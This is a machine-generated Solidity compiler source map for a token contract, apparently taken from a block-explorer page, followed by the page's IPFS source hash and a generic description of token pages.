;;-1:-1:-1;3446:244:0;;;;;:::i;:::-;;:::i;12293:29::-;;;;;;;;;;;;;;;;13354:35;;;;;;;;;;-1:-1:-1;13354:35:0;;;;;;;;11848:92;;;;;;;;;;-1:-1:-1;11848:92:0;;;;-1:-1:-1;;;;;11848:92:0;;;15788:83;15825:13;15858:5;15851:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15788:83;:::o;16954:161::-;17029:4;17046:39;289:10;17069:7;17078:6;17046:8;:39::i;:::-;-1:-1:-1;17103:4:0;16954:161;;;;;:::o;18049:313::-;18147:4;18164:36;18174:6;18182:9;18193:6;18164:9;:36::i;:::-;-1:-1:-1;18211:121:0;18220:6;289:10;18242:89;18280:6;18242:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18242:19:0;;;;;;:11;:19;;;;;;;;289:10;18242:33;;;;;;;;;;:37;:89::i;:::-;18211:8;:121::i;:::-;-1:-1:-1;18350:4:0;18049:313;;;;;;:::o;17472:156::-;-1:-1:-1;;;;;17607:11:0;16266:18;17525:7;16266:18;;;:9;:18;;;;;;17552:68;;:40;17569:22;17579:11;-1:-1:-1;;;;;16266:18:0;16239:7;16266:18;;;:9;:18;;;;;;;16173:119;17569:22;17552:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;17545:75;;17472:156;:::o;16451:218::-;289:10;16539:4;16588:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16588:34:0;;;;;;;;;;16539:4;;16556:83;;16579:7;;16588:50;;16627:10;16588:38;:50::i;3208:230::-;3117:6;;-1:-1:-1;;;;;3117:6:0;289:10;3117:22;3109:67;;;;-1:-1:-1;;;3109:67:0;;4131:2:1;3109:67:0;;;4113:21:1;;;4150:18;;;4143:30;4209:34;4189:18;;;4182:62;4261:18;;3109:67:0;;;;;;;;;3299:6:::1;::::0;;3278:81:::1;::::0;3315:42:::1;::::0;-1:-1:-1;;;;;3299:6:0;;::::1;::::0;3278:81:::1;::::0;::::1;3370:6;:60:::0;;-1:-1:-1;;;;;;3370:60:0::1;3387:42;3370:60;::::0;;3208:230::o;12392:122::-;;;;;;;;;;;;;;-1:-1:-1;;;;;12392:122:0;;-1:-1:-1;12392:122:0;:::o;12329:56::-;;;;;;;;;;;;;;;-1:-1:-1;12329:56:0;:::o;15879:87::-;15918:13;15951:7;15944:14;;;;;:::i;16677:269::-;16770:4;16787:129;289:10;16810:7;16819:96;16858:15;16819:96;;;;;;;;;;;;;;;;;289:10;16819:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16819:34:0;;;;;;;;;;;;:38;:96::i;17874:167::-;17952:4;17969:42;289:10;17993:9;18004:6;17969:9;:42::i;3446:244::-;3117:6;;-1:-1:-1;;;;;3117:6:0;289:10;3117:22;3109:67;;;;-1:-1:-1;;;3109:67:0;;4131:2:1;3109:67:0;;;4113:21:1;;;4150:18;;;4143:30;4209:34;4189:18;;;4182:62;4261:18;;3109:67:0;3929:356:1;3109:67:0;-1:-1:-1;;;;;3535:22:0;::::1;3527:73;;;::::0;-1:-1:-1;;;3527:73:0;;4492:2:1;3527:73:0::1;::::0;::::1;4474:21:1::0;4531:2;4511:18;;;4504:30;4570:34;4550:18;;;4543:62;-1:-1:-1;;;4621:18:1;;;4614:36;4667:19;;3527:73:0::1;4290:402:1::0;3527:73:0::1;3637:6;::::0;;3616:38:::1;::::0;-1:-1:-1;;;;;3616:38:0;;::::1;::::0;3637:6;::::1;::::0;3616:38:::1;::::0;::::1;3665:6;:17:::0;;-1:-1:-1;;;;;;3665:17:0::1;-1:-1:-1::0;;;;;3665:17:0;;;::::1;::::0;;;::::1;::::0;;3446:244::o;17123:337::-;-1:-1:-1;;;;;17216:19:0;;17208:68;;;;-1:-1:-1;;;17208:68:0;;4899:2:1;17208:68:0;;;4881:21:1;4938:2;4918:18;;;4911:30;4977:34;4957:18;;;4950:62;-1:-1:-1;;;5028:18:1;;;5021:34;5072:19;;17208:68:0;4697:400:1;17208:68:0;-1:-1:-1;;;;;17295:21:0;;17287:68;;;;-1:-1:-1;;;17287:68:0;;5304:2:1;17287:68:0;;;5286:21:1;5343:2;5323:18;;;5316:30;5382:34;5362:18;;;5355:62;-1:-1:-1;;;5433:18:1;;;5426:32;5475:19;;17287:68:0;5102:398:1;17287:68:0;-1:-1:-1;;;;;17368:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17420:32;;1804:25:1;;;17420:32:0;;1777:18:1;17420:32:0;;;;;;;17123:337;;;:::o;18370:2315::-;18457:4;-1:-1:-1;;;;;18484:20:0;;18476:70;;;;-1:-1:-1;;;18476:70:0;;5707:2:1;18476:70:0;;;5689:21:1;5746:2;5726:18;;;5719:30;5785:34;5765:18;;;5758:62;-1:-1:-1;;;5836:18:1;;;5829:35;5881:19;;18476:70:0;5505:401:1;18476:70:0;-1:-1:-1;;;;;18565:23:0;;18557:71;;;;-1:-1:-1;;;18557:71:0;;6113:2:1;18557:71:0;;;6095:21:1;6152:2;6132:18;;;6125:30;6191:34;6171:18;;;6164:62;-1:-1:-1;;;6242:18:1;;;6235:33;6285:19;;18557:71:0;5911:399:1;18557:71:0;18651:16;;-1:-1:-1;;;18651:16:0;;;;18648:2020;;;18701:41;18716:6;18724:9;18735:6;18701:14;:41::i;:::-;18694:48;;;;18648:2020;-1:-1:-1;;;;;18800:23:0;;;;;;:15;:23;;;;;;;;18799:24;:55;;;;-1:-1:-1;;;;;;18828:26:0;;;;;;:15;:26;;;;;;;;18827:27;18799:55;18796:171;;;18894:12;;18884:6;:22;;18876:75;;;;-1:-1:-1;;;18876:75:0;;6517:2:1;18876:75:0;;;6499:21:1;6556:2;6536:18;;;6529:30;6595:34;6575:18;;;6568:62;-1:-1:-1;;;6646:18:1;;;6639:38;6694:19;;18876:75:0;6315:404:1;18876:75:0;19032:4;18983:28;16266:18;;;:9;:18;;;;;;19108:23;;19084:47;;;;;;;19164:44;;-1:-1:-1;19192:16:0;;-1:-1:-1;;;19192:16:0;;;;19191:17;19164:44;:69;;;;-1:-1:-1;;;;;;19213:20:0;;;;;;:12;:20;;;;;;;;19212:21;19164:69;:94;;;;-1:-1:-1;19237:21:0;;-1:-1:-1;;;19237:21:0;;;;19164:94;19160:305;;;19296:25;;-1:-1:-1;;;19296:25:0;;;;19293:97;;;19367:23;;19344:46;;19293:97;19409:36;19424:20;19409:14;:36::i;:::-;19484:16;;;;:51;;;;-1:-1:-1;;;;;;19505:30:0;;;;;;:19;:30;;;;;;;;19504:31;19484:51;19481:220;;;19634:10;;19564:66;19589:40;19624:4;19589:30;19600:18;;19589:6;:10;;:30;;;;:::i;:::-;:34;;:40::i;:::-;-1:-1:-1;;;;;16266:18:0;;16239:7;16266:18;;;:9;:18;;;;;;19564:24;;:66::i;:::-;:80;;19556:129;;;;-1:-1:-1;;;19556:129:0;;6926:2:1;19556:129:0;;;6908:21:1;6965:2;6945:18;;;6938:30;7004:34;6984:18;;;6977:62;-1:-1:-1;;;7055:18:1;;;7048:35;7100:19;;19556:129:0;6724:401:1;19556:129:0;19737:40;19772:4;19737:30;19748:18;;19737:6;:10;;:30;;;;:::i;:40::-;19717:16;:60;19832:18;;19821:40;;19856:4;;19821:30;;:6;;:10;:30::i;:40::-;19812:49;;:6;:49;:::i;:::-;19792:19;:69;19876:14;:31;;19902:4;-1:-1:-1;;;;;;19876:31:0;;;;;;;19922:17;:27;;;;;-1:-1:-1;;;;;19922:27:0;;;;;-1:-1:-1;;20002:122:0;20022:23;20018:1;:27;20002:122;;;20087:16;20104:1;20087:19;;;;;;;:::i;:::-;;;20073:33;;;;:::i;:::-;;-1:-1:-1;20047:3:0;;20002:122;;;-1:-1:-1;;;;;;20148:23:0;;;;;;:15;:23;;;;;;;;20147:24;;:56;;-1:-1:-1;;;;;;20177:26:0;;;;;;:15;:26;;;;;;;;20176:27;20147:56;:82;;;-1:-1:-1;;;;;;20206:23:0;;;;;;:12;:23;;;;;;;;20147:82;:106;;;-1:-1:-1;;;;;;20233:20:0;;;;;;:12;:20;;;;;;;;20147:106;20142:154;;;20272:1;20257:13;;:16;;;;;;;:::i;:::-;;;;-1:-1:-1;20142:154:0;;-1:-1:-1;20142:154:0;;20280:14;:12;:14::i;:::-;-1:-1:-1;;;;;20332:17:0;;;;;;:9;:17;;;;;;:33;;20354:10;20332:21;:33::i;:::-;-1:-1:-1;;;;;20312:17:0;;;;;;:9;:17;;;;;:53;;;;20382:247;20402:21;20398:1;:25;20382:247;;;20480:53;20513:16;20530:1;20513:19;;;;;;;:::i;:::-;;;20480:9;:28;20490:14;20505:1;20490:17;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;20490:17:0;20480:28;;;;;;;;;;;20490:17;20480:28;;;:32;:53::i;:::-;20449:9;:28;20459:14;20474:1;20459:17;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;20459:17:0;20449:28;;;;;;;;;;;20459:17;20449:28;:84;20574:14;20589:1;20574:17;;;;;;;:::i;:::-;;;-1:-1:-1;;;;;20574:17:0;;;;20557:56;;;20593:16;20610:1;20593:19;;;;;;;:::i;:::-;;;20557:56;;1804:25:1;;;1792:2;1777:18;20557:56:0;;;;;;;20425:3;;20382:247;;;;20652:4;20645:11;;;;;;;1468:192;1554:7;1590:12;1582:6;;;;1574:29;;;;-1:-1:-1;;;1574:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1614:9:0;1626:5;1630:1;1626;:5;:::i;:::-;1614:17;1468:192;-1:-1:-1;;;;;1468:192:0:o;1324:136::-;1382:7;1409:43;1413:1;1416;1409:43;;;;;;;;;;;;;;;;;:3;:43::i;1135:181::-;1193:7;;1225:5;1229:1;1225;:5;:::i;:::-;1213:17;;1254:1;1249;:6;;1241:46;;;;-1:-1:-1;;;1241:46:0;;7859:2:1;1241:46:0;;;7841:21:1;7898:2;7878:18;;;7871:30;7937:29;7917:18;;;7910:57;7984:18;;1241:46:0;7657:351:1;20807:330:0;20937:53;;;;;;;;;;;-1:-1:-1;;;20937:53:0;;;;;;;;-1:-1:-1;;;;;20937:17:0;;20900:4;20937:17;;;:9;:17;;;;;;;:53;;20959:6;;20937:21;:53::i;:::-;-1:-1:-1;;;;;20917:17:0;;;;;;;:9;:17;;;;;;:73;;;;21024:20;;;;;;;:32;;21049:6;21024:24;:32::i;:::-;-1:-1:-1;;;;;21001:20:0;;;;;;;:9;:20;;;;;;;:55;;;;21072:35;;;;;;;;;;21100:6;1804:25:1;;1792:2;1777:18;;1658:177;21072:35:0;;;;;;;;-1:-1:-1;21125:4:0;20807:330;;;;;:::o;21145:291::-;14178:16;:23;;-1:-1:-1;;;;14178:23:0;-1:-1:-1;;;14178:23:0;;;21217:25:::1;21234:7:::0;21217:16:::1;:25::i;:::-;21280:21;21324:19:::0;;21321:101:::1;;21368:15;::::0;21360:50:::1;::::0;21368:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;21368:15:0::1;::::0;21360:50:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;21368:15;21360:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;21321:101;-1:-1:-1::0;;14224:16:0;:24;;-1:-1:-1;;;;14224:24:0;;;21145:291::o;1668:250::-;1726:7;1750:1;1755;1750:6;1746:47;;-1:-1:-1;1780:1:0;1773:8;;1746:47;1805:9;1817:5;1821:1;1817;:5;:::i;:::-;1805:17;-1:-1:-1;1850:1:0;1841:5;1845:1;1805:17;1841:5;:::i;:::-;:10;1833:56;;;;-1:-1:-1;;;1833:56:0;;8610:2:1;1833:56:0;;;8592:21:1;8649:2;8629:18;;;8622:30;8688:34;8668:18;;;8661:62;-1:-1:-1;;;8739:18:1;;;8732:31;8780:19;;1833:56:0;8408:397:1;1926:132:0;1984:7;2011:39;2015:1;2018;2011:39;;;;;;;;;;;;;;;;;:3;:39::i;20695:106::-;20761:28;20740:16;20757:1;20740:19;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;;20695:106:0:o;21448:666::-;21598:16;;;21612:1;21598:16;;;;;;;;21574:21;;21598:16;;;;;;;;;;-1:-1:-1;21598:16:0;21574:40;;21643:4;21625;21630:1;21625:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21625:23:0;;;:7;;;;;;;;;;:23;;;;21669:15;;:22;;;-1:-1:-1;;;21669:22:0;;;;:15;;;;;:20;;:22;;;;;21625:7;;21669:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21659:4;21664:1;21659:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21659:32:0;;;:7;;;;;;;;;:32;21736:15;;21704:62;;21721:4;;21736:15;21754:11;21704:8;:62::i;:::-;21805:15;;:240;;-1:-1:-1;;;21805:240:0;;-1:-1:-1;;;;;21805:15:0;;;;:66;;:240;;21886:11;;21805:15;;21956:4;;21983;;22019:15;;21805:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22071:35;22088:11;22101:4;22071:35;;;;;;;:::i;:::-;;;;;;;;21503:611;21448:666;:::o;2066:278::-;2152:7;2187:12;2180:5;2172:28;;;;-1:-1:-1;;;2172:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2211:9:0;2223:5;2227:1;2223;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1840:456::-;1917:6;1925;1933;1986:2;1974:9;1965:7;1961:23;1957:32;1954:52;;;2002:1;1999;1992:12;1954:52;2041:9;2028:23;2060:31;2085:5;2060:31;:::i;:::-;2110:5;-1:-1:-1;2167:2:1;2152:18;;2139:32;2180:33;2139:32;2180:33;:::i;:::-;1840:456;;2232:7;;-1:-1:-1;;;2286:2:1;2271:18;;;;2258:32;;1840:456::o;2490:247::-;2549:6;2602:2;2590:9;2581:7;2577:23;2573:32;2570:52;;;2618:1;2615;2608:12;2570:52;2657:9;2644:23;2676:31;2701:5;2676:31;:::i;2966:180::-;3025:6;3078:2;3066:9;3057:7;3053:23;3049:32;3046:52;;;3094:1;3091;3084:12;3046:52;-1:-1:-1;3117:23:1;;2966:180;-1:-1:-1;2966:180:1:o;3151:388::-;3219:6;3227;3280:2;3268:9;3259:7;3255:23;3251:32;3248:52;;;3296:1;3293;3286:12;3248:52;3335:9;3322:23;3354:31;3379:5;3354:31;:::i;:::-;3404:5;-1:-1:-1;3461:2:1;3446:18;;3433:32;3474:33;3433:32;3474:33;:::i;:::-;3526:7;3516:17;;;3151:388;;;;;:::o;3544:380::-;3623:1;3619:12;;;;3666;;;3687:61;;3741:4;3733:6;3729:17;3719:27;;3687:61;3794:2;3786:6;3783:14;3763:18;3760:38;3757:161;;3840:10;3835:3;3831:20;3828:1;3821:31;3875:4;3872:1;3865:15;3903:4;3900:1;3893:15;3757:161;;3544:380;;;:::o;7130:127::-;7191:10;7186:3;7182:20;7179:1;7172:31;7222:4;7219:1;7212:15;7246:4;7243:1;7236:15;7262:127;7323:10;7318:3;7314:20;7311:1;7304:31;7354:4;7351:1;7344:15;7378:4;7375:1;7368:15;7394:128;7461:9;;;7482:11;;;7479:37;;;7496:18;;:::i;7527:125::-;7592:9;;;7613:10;;;7610:36;;;7626:18;;:::i;8013:168::-;8086:9;;;8117;;8134:15;;;8128:22;;8114:37;8104:71;;8155:18;;:::i;8186:217::-;8226:1;8252;8242:132;;8296:10;8291:3;8287:20;8284:1;8277:31;8331:4;8328:1;8321:15;8359:4;8356:1;8349:15;8242:132;-1:-1:-1;8388:9:1;;8186:217::o;8942:251::-;9012:6;9065:2;9053:9;9044:7;9040:23;9036:32;9033:52;;;9081:1;9078;9071:12;9033:52;9113:9;9107:16;9132:31;9157:5;9132:31;:::i;9198:465::-;9251:3;9289:5;9283:12;9316:6;9311:3;9304:19;9342:4;9371;9366:3;9362:14;9355:21;;9410:4;9403:5;9399:16;9433:1;9443:195;9457:6;9454:1;9451:13;9443:195;;;9522:13;;-1:-1:-1;;;;;9518:39:1;9506:52;;9578:12;;;;9613:15;;;;9554:1;9472:9;9443:195;;;-1:-1:-1;9654:3:1;;9198:465;-1:-1:-1;;;;;9198:465:1:o;9668:582::-;9967:6;9956:9;9949:25;10010:6;10005:2;9994:9;9990:18;9983:34;10053:3;10048:2;10037:9;10033:18;10026:31;9930:4;10074:57;10126:3;10115:9;10111:19;10103:6;10074:57;:::i;:::-;-1:-1:-1;;;;;10167:32:1;;;;10162:2;10147:18;;10140:60;-1:-1:-1;10231:3:1;10216:19;10209:35;10066:65;9668:582;-1:-1:-1;;;9668:582:1:o;10255:332::-;10462:6;10451:9;10444:25;10505:2;10500;10489:9;10485:18;10478:30;10425:4;10525:56;10577:2;10566:9;10562:18;10554:6;10525:56;:::i;:::-;10517:64;10255:332;-1:-1:-1;;;;10255:332:1:o

Swarm Source

ipfs://2baa2a28e6b4146098edfceb6f3f063441f337388d7d971128148103187965a4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.